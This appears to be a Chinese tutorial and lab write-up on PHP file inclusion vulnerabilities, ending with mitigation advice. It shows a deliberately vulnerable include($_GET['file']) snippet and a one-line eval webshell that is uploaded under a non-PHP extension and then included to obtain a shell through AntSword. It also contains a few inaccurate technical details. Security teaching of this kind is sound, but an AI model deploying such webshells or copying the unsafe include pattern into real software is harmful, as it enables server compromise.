一、原理分析

文件包含漏洞是代码注入的一种。其原理就是注入一段用户能控制的脚本或代码,并让服务器端执行,代码注入的典型代表就是文件包含(File inclusion)。文件包含可能会出现在jsp、php、asp等语言中。服务器通过函数去包含任意文件时,由于要包含的这个文件来源过滤不严,从而可以去包含一个恶意文件,而我们可以构造这个恶意文件来达到邪恶的目的。

准备工作:

PHP环境

为什么会造成文件包含漏洞?

利用PHP JSP JSP等函数

PHP:include() 、include_once()、require()、require_once()、fopen()、readfile()

JSP/Servlet:ava.io.file()、java.io.filereader()

ASP:include file、include virtual

如果未对功能进行过滤,就产生文件包含漏洞

实验案例1

我们使用PHP的include()函数,进行代码还原漏洞

直接上代码,使用GET请求

$file = $_GET['file'];
if (isset($file)) {
    include($file);
}

然后我们就可以对任意文件进行访问,

例如我们访问我们目录下的sssss.php

Java漏洞 预防文件路径遍历威胁 java文件包含漏洞利用_学习

直接可以把里面的内容输出出来

甚至是其他的网站的PHP也可以输出出来,我们在另一个端口的站点在建立一个PHP

而且是无视文本格式的,不管你是不是PHP文件,例如

假设别的网站有PHP信息泄露

如何查看另一个网站的PHP信息?

Java漏洞 预防文件路径遍历威胁 java文件包含漏洞利用_学习_02

Java漏洞 预防文件路径遍历威胁 java文件包含漏洞利用_web安全_03

 可以跨站访问到另一个网站上的文件

无视拓展名:

我们把PHP文件改成其他格式例如.dwd

我也不懂是啥类型的文件

Java漏洞 预防文件路径遍历威胁 java文件包含漏洞利用_学习_04

总结:不管什么格式的文件都一样会执行PHP代码

那么我们试想一下,是否可以进行getshell呢?

假设我们有一个网站有上传漏洞,但我们并不能进行直接getshell,这时候我们就用到这漏洞来进行getshell

假如我们有个网站已经成功上传shell 了,但是无法运行,因为是其他格式的

那么我们可以通过文件包含漏洞来进行getshell

首先写入一句话木马

<?php eval($_POST['cmd']) ?>

Java漏洞 预防文件路径遍历威胁 java文件包含漏洞利用_学习_05

成功访问不是PHP结尾的文件, 

 利用蚂剑看看能不能连接成功

Java漏洞 预防文件路径遍历威胁 java文件包含漏洞利用_学习_06

Java漏洞 预防文件路径遍历威胁 java文件包含漏洞利用_web安全_07

getshell成功!!!

 

Java漏洞 预防文件路径遍历威胁 java文件包含漏洞利用_Java漏洞 预防文件路径遍历威胁_08

总结:

 文件包含漏洞危害及其大,如有被利用不堪设想

解决方案

文件包含需要配置 allow_url_include=On(远程文件包含)、allow_url_fopen=On(本地文件包含) 。所以,我们可以将其关闭,这样就可以杜绝文件包含漏洞了。但是,某些情况下,不能将其关闭,必须进行包含的话,我们可以使用白名单过滤的方法,只能包含我们指定的文件。这样,就可以杜绝文件包含漏洞了